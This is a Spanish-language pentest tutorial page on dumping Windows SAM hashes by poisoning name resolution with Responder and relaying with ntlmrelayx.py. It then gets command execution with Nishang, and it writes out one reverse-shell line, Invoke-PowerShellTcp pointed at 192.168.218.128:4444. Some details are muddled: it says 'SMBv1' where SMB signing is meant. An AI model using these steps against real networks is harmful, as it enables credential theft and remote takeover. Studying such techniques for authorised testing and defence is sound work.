Dumping SAM
Last updated
Last updated
La SAM (Security Account Manager) es la que administra todas las cuentas de usuario y sus contraseñas. Actúa como una base de datos, todas las contraseñas se codifican y luego se almacenan en SAM. Es responsabilidad de LSA (Local Security Authority) verificar el inicio de sesión del usuario haciendo coincidir las contraseñas con la base de datos mantenida en SAM.
La SAM se encuentra en C:\Windows\System32\config y las contraseñas codificadas y guardadas en SAM se pueden encontrar en el registro, simplemente abra el Editor del Registro y navegue hasta HKEY_LOCAL_MACHINE\SAM
Este ataque funciona cómo el SMB Relay, pero la cosa es que con el responder y con la herramienta netlmrelayx.py suplantaremos el recurso inexistente para que confie en nosotros y nos envie la información de ese recurso, incluyendo la SAM y filtrando los usuarios y sus nthashes.
Necesitamos una lista de targets, los cuales los habremos conseguido con un crackmapexec y los metemos un archivo targets.txt
Que estos targets tengan la versión SMv1 en False, si esto es así podemos dumpear la SAM y ejecutar también comandos.
Que el usuario que busca el \\recursoque\noexiste tenga permisos de administrador en el host del target.txt
SI esos son los requisitos entonces procedemos con el ataque.
Para este ataque necesitamos la herramienta Responder y ntlmrelayx.py de nuevo, pero tenemos que hacer algunos cambios en el archivo de configuración responder.conf.
Tenemos que poner en OFF el SMB y el HTTP
Entonces ejecutamos el Responder.py:
Seguidamente ejecutamos el ntlmrelayx.py:
Por detrás estará buscando ese recurso inexistente y nosotros nos haremos pasar por él, ya que lo estará buscando.
Cómo he dicho anteriormente, hay una manera de que si el SMBv1 está en False, se puede realizar un procedimiento que nos permite ejecutar comandos, a la vez que obtener la SAM como el procedimiento de arriba.
Para ello utilizaremos la herramienta Nishang , haremos lo mismo que con la SAM, envenenamos la comunicación pero ejecutando comandos.
Una vez descargado el nishang, vamos a Shells y cogemos el script que se llama "Invoke-PowershellTcp.ps1", lo copiamos donde estemos trabajando y ponemos el comando Invoke-PowerShellTcp -Reverse -IPAddress 192.168.218.128 -Port 4444
al final del script y guardamos.
Ahora si, hacemos lo mismo que con el proceso de arriba:
Ahora por detrás buscará el \\recurso\inexistente y obtenemos la shell